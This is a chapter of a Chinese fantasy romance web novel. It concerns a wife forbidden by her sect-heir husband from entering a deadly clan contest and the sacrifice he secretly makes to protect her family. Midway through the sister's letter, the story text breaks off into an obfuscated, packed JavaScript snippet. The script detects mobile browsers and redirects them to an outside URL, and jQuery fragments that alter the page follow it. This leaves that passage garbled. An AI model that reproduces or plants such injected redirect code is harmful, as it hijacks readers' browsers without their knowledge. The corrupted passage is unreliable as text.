默认冷灰
24号文字
方正启体

11. 五十年

作者:花林霰霰本书字数:K更新时间:
    夺冠后第三日晨,月淞学院公告殿,颁布了一则新消息。


    五十年一度,三宗四族联合举办,优胜家族获三座青云灵矿开采权。


    桑榆来回看了好几遍,上面白纸黑字明明白白写着。


    首座家族,赐青云山脉三座主峰灵矿,开采期为百年。


    另赠十万上品灵石,地阶灵兽卵三枚,日衍宗丹道阁阅览资格。


    围观弟子看完不禁倒吸一口凉气。


    三座灵矿,这意味着什么?完全可以养一个中等世家三代不衰。


    桑榆心中涌起喜悦,她比任何人都清楚这三个数字的重要性。


    桑家的忆归大阵修复至少需两万上品灵石、阵亡族人的抚恤需五千、姐姐产后虚弱需千年血参续养,一株八千,有价无市。


    而如今,桑家账面上,只剩三千。


    上天给的机会,桑榆说什么都不会错过。


    午时,家族血符燃至。


    桑父虚影比上回更加枯槁,断臂处缠绕着劣等的义肢,他的声音苍老了十岁不止:“阿榆,青云赛,桑家必须参加,此乃天赐良机,错过,族运将永无翻身之日。”


    说罢,他浑浊的老眼望向桑榆腕间的青玉环,犹豫再三还是开口,“你夫家日衍宗乃主办方之一,若能为家族说上……”


    桑父话未说完,灵力不济,无法支撑血符,虚影崩散。


    桑榆对着消散的血符,良久无言。


    她明白父亲想说什么,她嫁了一个好夫君,嫁了一个好世家,攀上了高枝,就得为家族做点什么。


    而她,本就是带着目的的。


    泡泡从桑榆袖中探出,触手轻搭她手背,像是在宽慰她。


    若日夜不休,炼器筹钱,需多少年才能攒够十万灵石,骸骨默默地计算着。


    十七年。


    桑榆低垂着眉,眼底的忧伤转瞬即逝,她将信纸折起。


    她等不了十七年,父亲等不了,姐姐等不了,桑家三百族人等不了。


    戌时,书房的灯还在亮着。


    夏为天伏案批阅宗门公文,袖口不小心沾上了新墨。


    桑榆在门外徘徊了许久,最终揣着父亲的来信,走进书房。


    她开门见山:“我要参加青云赛。”


    夏为天笔尖顿住,他未抬头,声音平淡:“不准。”


    桑榆把信纸拍在案上,义正言辞道:“桑家急需灵矿,我父亲亲自传讯,此事迫在眉睫。”


    夏为天垂眸扫过信纸,他注意到了微卷的边角,放下笔,“你需要灵石,我这里有。”


    桑榆一怔,随即摇头,“这不是三万五万的事情,三座灵矿,开采百年,价值……


    夏为天出声打断,“我出得起。”


    平静,笃定,不容置喙。


    他拉开抽屉,取出一只墨色玉匣,推到她面前。


    打开玉匣,上品灵石票,每张一万,堆满了匣子。


    桑榆没看,好声好气道:“桑家不是要施舍,我父亲要的是族运复兴,不是女婿的怜悯。”


    夏为天抬眼。


    “怜悯?”他的声音冷了几分:“夫妻一体,我的便是你的,何来怜悯?”


    桑榆迎上他的目光,有些愠怒,“那你为何不准我参赛?”


    书房陷入沉寂,烛火跳动。


    片刻,桑榆没有等来夏为天的回答,却等来了命令。


    “不准,便是不准。”


    她攥紧信纸,纸缘应声撕裂,怒声:“凭什么!”


    夏为天起身,两人隔着书案,他第一次以俯视的姿态看着桑榆。


    声音低而沉,像淬过火的刃:“凭我是你夫君,凭日衍宗少宗主的婚书上有我的血印,凭你遇险时,有权出手、有责相护的人,是我。”


    他一字一顿:“夏、为、天。”


    桑榆被吓得后退半步,不是畏惧,是他从未在她面前展露过如此凛冽的一面。


    像鞘中养了百年的刀,猝然出锋。


    她深吸一口气,声音很轻,轻得像血落入深潭,毫无动静,“我明白了。”


    她转身,推门离去,自始至终没看过玉匣一眼。


    也没再看案上她为他泡的、又凉透的茶。


    夏为天站在原地,目送她的背影没入夜色。


    蚀心藤从袖中探出,在他腕间拼字:“追。”


    他没动。


    藤蔓又拼:“她会哭。”


    他闭眼,心如刀割,“哭完,比冒险好。”


    藤蔓沉默,缩回袖中。


    翌日早晨,院中无人,石桌上无粥,窗台上无纸条。


    书房紧闭,门缝透出微弱的丹火。


    桑榆在学院收到匿名锦盒,里面放了三株千年血参,品相完美。


    附笺无字,只有藤蔓简笔。


    她将锦盒推至桌角,未动。


    第三日,徐止行问及青云赛组队意向。


    桑榆略显疲态,“容我考虑。”


    药蝶盘旋窗外半日,暮时飞离,蝶翼沾染上了血渍。


    深夜,桑榆因梦魇惊醒,她推开窗透气,正对的书房,灯竟亮着。


    子时四刻,夏为天一连三夜未眠。


    骸骨抬起颅骨,魂火映出远方的画面。


    一是,日衍宗刑罚堂地宫内,夏为天跪于历代宗主玉像前,他摊开一卷古旧的卷轴,边缘燃着幽蓝火焰。


    他以血为墨,在卷尾添字。


    二是,药房九座丹炉同开,夏为天游走其间,同时炼制九炉丹药。


    每炉成丹三粒,皆以玉瓶封存,瓶身刻六字,急用,凝血解毒。


    三是,寅时,夏为天推门出药房,脚步踉跄,在廊下咳血,血色暗黑。


    蚀心藤疯狂缠绕护住心脉,藤身泛出不详黑纹。


    桑榆看见了,却看不清,她握紧窗沿,“他在……做什么?”


    骸骨无法回答。魂火只传递一个词:“准备。”


    准备青云赛,准备宗门大事。


    她了然。


    天未亮透,一只灰色灵鸽撞入桑榆窗棂。


    非日衍宗药蝶。


    非月淞学院传讯符。


    是桑家秘术,连心羽。


    鸽足绑着小指粗竹筒,筒身刻有三道血痕。


    桑榆撕开封蜡,字迹潦草,多处晕染,好似是了写几字,又停很久。


    她认出了,是桑珂写的。


    “榆儿:


    见信勿回,玄青宗眼线未撤。


    有两件事:


    一是青云赛,绝不能参加


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310184|198800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    二是若他拦你,别怨他。


    哪怕他说了很难听的话。


    哪怕他冷血地推开你。


    因为,


    昨日你姐夫醉酒,他说漏了一句。


    ‘前三个报名的家族,赛后三月,都被灭门了。’


    ‘一个活口没留。’


    ‘对外说是魔修袭扰,可现场留下的痕迹。’


    ‘是他日衍宗的封魂印。’


    榆儿,夏为天不让你去,不是在关你。


    是在拿他自己,堵那道必死的门。


    信看完烧掉。


    别问他。


    问了他也不会认。


    ——姐”


    纸尾有一滴干涸水渍。


    不是泪。


    桑榆将信纸凑近烛火,火焰沿着纸缘燃烧,将封魂印三字吞噬前,她又看了一眼。


    窗外,书房灯竟又亮了。


    第四夜。


    桑榆站在黑暗里,隔着半座院子,望向那扇窗。


    泡泡触手轻绕她指尖,传递一丝温暖。


    骸骨尾针悬停,它在等他灯灭,已等了四夜。


    他到底在写什么?


    刑罚堂卷轴。


    九炉同开的丹药。


    袖口咳出的暗金血。


    桑榆想起嫁他那日,轿帘垂落前,最后看见的是姐姐跪在祠堂的背影。


    那时她以为姐姐在哭。


    如今才懂,姐姐跪的不是绝望。


    是明知这条路是深渊,也只能亲手送妹妹踏进去的、无能为力的痛。


    书房内,夏为天搁下笔,案上摊开的是宗门生死状。


    刑罚堂秘法,若少宗主执意庇护青云赛必除名单上的人,需以七成修为、五十年寿元为质,压入宗门戒律塔。


    若事后证实被庇护者确与邪修有染,他当自废金丹,永囚塔底。


    他已签了名。


    按了血印。


    只差最后一道程序,将桑家从清除名单上抹去。


    刑罚堂长老们正在隔壁厢房等他答复。


    蚀心藤拼字:“值否?她恨你三日了。”


    夏为天没答,只是从怀中摸出那枚留声玉简,看了许久,低声道:“恨我,总比死好。”


    窗外,桑榆房中的灯,终于熄了。


    夏为天不知道的是,熄灯前,她正站在窗前,望向他这里。


    隔着四夜未眠、三日冷战、一道即将签押的生死状。


    他不知她已攥着那封烧去一半的信,无声问他:“夏为天,你到底在替谁去死?”


    寅时三刻,刑罚堂长老拂袖而去,无奈道:“少宗主既执意庇护罪族后裔,三日后戒律塔见。”


    夏为天独坐满室狼藉,低头看着掌心那道按过血印的契约。


    五十年寿元,换了三个字:“桑家,免。”


    够不够?


    够她往后余生平安喜乐。


    够她将来知道真相时,恨他少一点。


    他将契约折起,藏入怀中。


    抬头时,窗外天色将明。


    她房中的灯,始终没再亮起。


    他看了很久,轻声说:“榆儿……”


    “再恨我几日。”


    “很快就好了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)